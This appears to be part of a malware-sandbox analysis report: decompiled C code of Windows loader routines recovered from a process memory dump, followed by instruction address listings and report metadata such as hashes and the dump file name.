														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									L00DBFFB0(_t287, _t353, 0xe984d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E00DFCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = L00DB6600(0xe952d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E00DB7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0xe9b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E00E2E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0xe98472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0xe9b1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0xe9b218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E00DC2280(_t250, 0xe984d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L00DE3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																L00DBFFB0(_t293, _t353, 0xe984d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	L00DE37F5(_t353, 0);
																}
																E00DE0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E00DD9B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E00DD02D6(_t174);
																}
																L00DC77F0( *0xe97b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E00DDC277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L00DBEC7F(_t353);
										L00DD19B8(_t287, 0, _t353, 0);
										_t200 = E00DAF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0xe9b2f8 |  *0xe9b2fc) == 0 || ( *0xe9b2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return L00DEB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0xe9b2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E00E56B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E00E56AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E00DBE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L00DBEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = L00DE9730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E00DBE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L00DB8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E00DE3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x00dbd5f2
0x00dbd5f5
0x00dbd5f5
0x00dbd5fd
0x00dbd600
0x00dbd60a
0x00dbd60d
0x00dbd617
0x00dbd61d
0x00dbd627
0x00dbd62e
0x00dbd911
0x00dbd913
0x00000000
0x00dbd919
0x00dbd919
0x00dbd919
0x00dbd634
0x00dbd634
0x00dbd634
0x00dbd634
0x00dbd640
0x00dbd8bf
0x00000000
0x00dbd646
0x00dbd646
0x00dbd64d
0x00dbd652
0x00e0b2fc
0x00e0b2fc
0x00e0b302
0x00e0b33b
0x00e0b341
0x00000000
0x00e0b304
0x00e0b304
0x00e0b319
0x00e0b31e
0x00e0b324
0x00e0b326
0x00e0b332
0x00e0b347
0x00e0b34c
0x00e0b351
0x00e0b35a
0x00000000
0x00e0b328
0x00e0b328
0x00000000
0x00e0b328
0x00e0b326
0x00dbd658
0x00dbd658
0x00dbd65b
0x00dbd665
0x00000000
0x00dbd66b
0x00dbd66b
0x00dbd66b
0x00dbd66b
0x00dbd66d
0x00dbd672
0x00dbd67a
0x00000000
0x00000000
0x00dbd680
0x00dbd686
0x00dbd8ce
0x00dbd8d4
0x00dbd8dd
0x00dbd8e0
0x00dbd68c
0x00dbd691
0x00dbd69d
0x00dbd6a2
0x00dbd6a7
0x00dbd6b0
0x00dbd6b5
0x00dbd6e0
0x00dbd6b7
0x00dbd6b7
0x00dbd6b9
0x00dbd6b9
0x00dbd6bb
0x00dbd6bd
0x00dbd6ce
0x00dbd6d0
0x00dbd6d2
0x00e0b363
0x00e0b365
0x00000000
0x00e0b36b
0x00000000
0x00e0b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00dbd6bf
0x00dbd6bf
0x00dbd6e5
0x00dbd6e7
0x00dbd6e9
0x00dbd6ec
0x00dbd6ec
0x00dbd6ef
0x00dbd6f5
0x00dbd6f9
0x00dbd6fb
0x00dbd6fd
0x00dbd701
0x00dbd703
0x00dbd70a
0x00dbd70a
0x00dbd701
0x00dbd710
0x00dbd710
0x00dbd6c1
0x00dbd6c1
0x00dbd6c6
0x00e0b36d
0x00e0b36f
0x00000000
0x00e0b375
0x00e0b375
0x00e0b375
0x00000000
0x00e0b375
0x00000000
0x00dbd6cc
0x00dbd6d8
0x00dbd6d8
0x00dbd6d8
0x00000000
0x00dbd6c6
0x00dbd6bf
0x00000000
0x00dbd6da
0x00dbd6da
0x00dbd716
0x00dbd71b
0x00dbd720
0x00dbd726
0x00dbd726
0x00dbd72d
0x00000000
0x00dbd733
0x00dbd739
0x00dbd742
0x00dbd750
0x00dbd758
0x00dbd764
0x00dbd776
0x00dbd77a
0x00dbd783
0x00dbd928
0x00dbd92c
0x00dbd93d
0x00dbd944
0x00dbd94f
0x00dbd954
0x00dbd956
0x00dbd95f
0x00dbd961
0x00dbd973
0x00dbd973
0x00dbd956
0x00dbd944
0x00dbd92c
0x00dbd78b
0x00e0b394
0x00dbd791
0x00dbd798
0x00e0b3a3
0x00e0b3bb
0x00e0b3bb
0x00dbd7a5
0x00dbd866
0x00dbd870
0x00dbd892
0x00dbd898
0x00dbd89e
0x00dbd8a0
0x00dbd8a6
0x00dbd8ac
0x00dbd8ae
0x00dbd8b4
0x00dbd8b4
0x00dbd8ae
0x00dbd7a5
0x00dbd78b
0x00dbd7b1
0x00e0b3c5
0x00e0b3c5
0x00dbd7c3
0x00dbd7ca
0x00dbd7e5
0x00dbd7eb
0x00dbd8eb
0x00dbd8ed
0x00000000
0x00dbd8f3
0x00dbd8f3
0x00dbd8f3
0x00000000
0x00dbd8ed
0x00dbd7cc
0x00dbd7cc
0x00dbd7d2
0x00000000
0x00dbd7d4
0x00dbd7d4
0x00dbd7d7
0x00dbd7df
0x00e0b3d4
0x00e0b3d9
0x00e0b3dc
0x00e0b3dc
0x00e0b3df
0x00e0b3e2
0x00e0b468
0x00e0b46d
0x00e0b46f
0x00e0b46f
0x00e0b475
0x00dbd8f8
0x00dbd8f9
0x00dbd8fd
0x00e0b3e8
0x00e0b3e8
0x00e0b3eb
0x00e0b3ed
0x00000000
0x00e0b3ef
0x00e0b3ef
0x00e0b3f1
0x00e0b3f4
0x00e0b3fe
0x00e0b404
0x00e0b409
0x00e0b40e
0x00e0b410
0x00e0b410
0x00e0b414
0x00e0b414
0x00e0b41b
0x00e0b420
0x00e0b423
0x00e0b425
0x00e0b427
0x00e0b42a
0x00e0b42d
0x00e0b42d
0x00e0b42a
0x00e0b432
0x00e0b436
0x00e0b438
0x00e0b43b
0x00e0b43b
0x00e0b449
0x00e0b44e
0x00e0b454
0x00e0b458
0x00e0b458
0x00e0b45d
0x00000000
0x00e0b45d
0x00e0b3ed
0x00000000
0x00000000
0x00000000
0x00dbd7df
0x00dbd7d2
0x00dbd7ca
0x00e0b37c
0x00e0b37e
0x00e0b385
0x00e0b38a
0x00000000
0x00e0b38a
0x00dbd742
0x00dbd7f1
0x00dbd7f8
0x00e0b49b
0x00e0b49b
0x00dbd800
0x00dbd837
0x00dbd843
0x00dbd845
0x00dbd847
0x00dbd84a
0x00dbd84b
0x00dbd84e
0x00dbd857
0x00dbd818
0x00dbd824
0x00dbd831
0x00e0b4a5
0x00e0b4ab
0x00e0b4b3
0x00e0b4b8
0x00e0b4bb
0x00000000
0x00e0b4c1
0x00e0b4c1
0x00e0b4c8
0x00000000
0x00e0b4ce
0x00e0b4d4
0x00e0b4e1
0x00e0b4e3
0x00e0b4e5
0x00000000
0x00e0b4eb
0x00e0b4f0
0x00e0b4f2
0x00dbdac9
0x00dbdacc
0x00dbdacf
0x00dbdad1
0x00dbdd78
0x00dbdd78
0x00dbdcf2
0x00000000
0x00dbdad7
0x00dbdad9
0x00dbdadb
0x00000000
0x00000000
0x00dbdae1
0x00dbdae1
0x00dbdae4
0x00dbdae6
0x00e0b4f9
0x00e0b4f9
0x00e0b500
0x00dbdaec
0x00dbdaec
0x00dbdaf5
0x00dbdaf8
0x00dbdafb
0x00dbdb03
0x00dbdb11
0x00dbdb16
0x00dbdb19
0x00dbdb1b
0x00e0b52c
0x00e0b531
0x00e0b534
0x00dbdb21
0x00dbdb21
0x00dbdb24
0x00dbdcd9
0x00dbdce2
0x00dbdce5
0x00dbdd6a
0x00dbdd6d
0x00000000
0x00dbdd73
0x00e0b51a
0x00e0b51c
0x00e0b51f
0x00e0b524
0x00000000
0x00e0b524
0x00dbdce7
0x00dbdce7
0x00dbdce7
0x00000000
0x00dbdce7
0x00000000
0x00dbdb2a
0x00dbdb2c
0x00dbdb31
0x00dbdb33
0x00dbdb36
0x00dbdb39
0x00dbdb3b
0x00dbdb66
0x00dbdb66
0x00dbdb3d
0x00dbdb3d
0x00dbdb3e
0x00dbdb46
0x00dbdb47
0x00dbdb49
0x00dbdb4c
0x00dbdb53
0x00dbdb55
0x00dbdb58
0x00dbdb5a
0x00e0b50a
0x00e0b50f
0x00e0b512
0x00dbdb60
0x00dbdb60
0x00dbdb63
0x00dbdb63
0x00000000
0x00dbdb63
0x00dbdb5a
0x00dbdb3b
0x00dbdb24
0x00dbdb69
0x00dbdb69
0x00dbdb6c
0x00dbdb6f
0x00dbdb74
0x00e0b557
0x00e0b557
0x00e0b55e
0x00dbdb7a
0x00dbdb7c
0x00dbdb7f
0x00dbdb82
0x00dbdb85
0x00000000
0x00dbdb8b
0x00dbdb8b
0x00dbdb8d
0x00dbdb9b
0x00dbdb9b
0x00dbdb9d
0x00dbdba0
0x00dbdba2
0x00dbdba4
0x00dbdba7
0x00dbdba9
0x00dbdbae
0x00dbdbae
0x00dbdbb1
0x00dbdbb4
0x00dbdbb4
0x00dbdbb7
0x00dbdbba
0x00dbdcd2
0x00dbdcd4
0x00000000
0x00dbdbc0
0x00dbdbc0
0x00dbdbd2
0x00dbdbd7
0x00dbdbda
0x00dbdbdd
0x00dbdbdf
0x00000000
0x00dbdbe5
0x00dbdbe5
0x00dbdbee
0x00dbdbf1
0x00e0b541
0x00e0b544
0x00000000
0x00e0b546
0x00e0b546
0x00000000
0x00e0b546
0x00dbdbf7
0x00dbdbf7
0x00dbdbfd
0x00dbdbfd
0x00dbdbff
0x00dbdc0b
0x00dbdc15
0x00dbdc1b
0x00dbdc1d
0x00dbdc21
0x00dbdc21
0x00dbdc23
0x00dbdc23
0x00dbdc26
0x00dbdc29
0x00dbdc2b
0x00000000
0x00000000
0x00dbdc31
0x00dbdc34
0x00dbdc36
0x00dbdcbf
0x00dbdcbf
0x00dbdcc2
0x00000000
0x00dbdc3c
0x00dbdc41
0x00dbdc43
0x00000000
0x00dbdc45
0x00dbdc45
0x00dbdc47
0x00000000
0x00dbdc4d
0x00dbdc4d
0x00dbdc50
0x00dbdc52
0x00dbdc55
0x00dbdcfa
0x00dbdcfe
0x00dbdd08
0x00dbdd0a
0x00dbdd0c
0x00000000
0x00dbdd12
0x00dbdd15
0x00dbdd2d
0x00dbdd2f
0x00dbdd32
0x00dbdd35
0x00000000
0x00dbdd35
0x00dbdc5b
0x00dbdc5b
0x00dbdc5e
0x00dbdc61
0x00dbdc64
0x00dbdc67
0x00dbdc67
0x00dbdc6a
0x00dbdc6c
0x00dbdc8e
0x00dbdc8e
0x00dbdc91
0x00dbdc93
0x00dbdcce
0x00dbdcce
0x00dbdc95
0x00dbdc9c
0x00dbdc6e
0x00dbdc72
0x00dbdc75
0x00dbdc77
0x00dbdc79
0x00e0b551
0x00e0b551
0x00000000
0x00dbdc7f
0x00dbdc7f
0x00dbdc81
0x00000000
0x00dbdc83
0x00dbdc86
0x00dbdc88
0x00000000
0x00000000
0x00000000
0x00000000
0x00dbdc88
0x00dbdc81
0x00dbdc79
0x00dbdc6c
0x00dbdc55
0x00dbdc47
0x00dbdc43
0x00000000
0x00dbdc36
0x00dbdc23
0x00000000
0x00dbdbff
0x00dbdbf1
0x00dbdbdf
0x00dbdb8f
0x00dbdb92
0x00dbdb95
0x00000000
0x00000000
0x00000000
0x00000000
0x00dbdb95
0x00dbdb8d
0x00dbdb85
0x00dbdb74
0x00dbdc9f
0x00dbdca2
0x00dbdcb0
0x00dbdcb0
0x00dbdad1
0x00e0b4e5
0x00e0b4c8
0x00000000
0x00000000
0x00000000
0x00dbd831
0x00000000
0x00dbd800
0x00e0b47f
0x00e0b485
0x00000000
0x00e0b485
0x00dbd665
0x00dbd652
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d6c44efe8c52e411ffb0229a46fdd0c4e8b4d44aa256acb25320a6c8b10542
Instruction ID: 57a63353a8494b6f55b074f5016f59aed95a2dab641c4dcf2fabd203244eea2e
Opcode Fuzzy Hash: 61d6c44efe8c52e411ffb0229a46fdd0c4e8b4d44aa256acb25320a6c8b10542
Instruction Fuzzy Hash: 1DE1D234A00359CFDB24DF15C990BE9B7B2FF45314F1801AAE84AA7291EB74AD85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00DB849B Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00DB849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0xe7f9c0);
				E00DFD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0xe97b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = L00DBCEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E00DC2280( *[fs:0x30], 0xe98550);
						_t139 =  *0xe97b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E00DDF3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								L00DBFFB0(_t193, _t235, 0xe98550);
								L5:
								return E00DFD130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E00DA1C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0xe97b9c; // 0x0
							_t235 = L00DC4620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0xe97b10; // 0x0
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = L00DDA61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									L00DBFFB0(_t193, _t235, 0xe98550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L00DC77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L00DC77F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0xe97b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0xe97b10; // 0x0
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = L00DE37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0xe97b9c; // 0x0
									_t214 = L00DC4620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												L00DE37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0xe97b10 =  *0xe97b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0xe97b04 =  *0xe97b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L00DC77F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L00DC77F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0xe97b08 =  *0xe97b08 + 1;
												goto L24;
											}
